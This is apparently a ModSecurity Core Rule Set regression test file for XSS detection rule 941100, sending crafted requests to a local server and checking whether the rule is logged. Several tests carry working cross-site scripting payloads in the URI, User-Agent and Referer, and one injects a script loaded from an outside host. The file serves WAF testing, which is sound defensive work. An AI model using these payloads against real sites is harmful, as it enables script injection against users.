---
meta:
  author: "csanders-git"
  enabled: true
  name: "941100.yaml"
  description: "Tests to trigger, or not trigger 941100"
tests:
  - test_title: 941100-1
    desc: Test as described in http://www.client9.com/article/five-interesting-injection-attacks/
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            method: GET
            port: 80
            uri: '/demo/xss/xml/vuln.xml.php?input=<script+xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location="javascript:(function+()+{var+x+=+document.createElement(\\"script\\");x.src+=+\\"//sdl.me/popup.js?//\\";document.childNodes\\[0\\].appendChild(x);}());"",1000)</script>&//'
            headers:
              User-Agent: ModSecurity CRS 3 Tests
              Host: localhost
          output:
            log_contains: id "941100"
  - test_title: 941100-2
    desc: XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            method: GET
            port: 80
            uri: '/char_test?mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E'
            headers:
              User-Agent: ModSecurity CRS 3 Tests
              Host: localhost
          output:
            log_contains: id "941100"
  - test_title: 941100-3
    desc: XSS testing of libinjection in User-Agent
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            method: GET
            port: 80
            uri: /
            headers:
              User-Agent: '/char_test?mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E'
              Host: localhost
          output:
            log_contains: id "941100"
  - test_title: 941100-4
    desc: XSS testing of libinjection in User-Agent
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            method: GET
            port: 80
            uri: /
            headers:
              User-Agent: ModSecurity CRS 3 Tests
              Referer: http://www.cnn.com
              Host: localhost
          output:
            no_log_contains: id "941100"
  - test_title: 941100-5FN
    desc: XSS testing of libinjection in User-Agent
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            method: GET
            port: 80
            uri: /
            headers:
              User-Agent: ModSecurity CRS 3 Tests
              Referer: '/demo/xss/xml/vuln.xml.php?input=<script+xmlns="http://www.w3.org/1999/xhtml">setTimeout("top.frame2.location="javascript:(function+()+{var+x+=+document.createElement(\\"script\\");x.src+=+\\"//sdl.me/popup.js?//\\";document.childNodes\\[0\\].appendChild(x);}());"",1000)</script>&//'
              Host: localhost
          output:
            no_log_contains: id "941100"
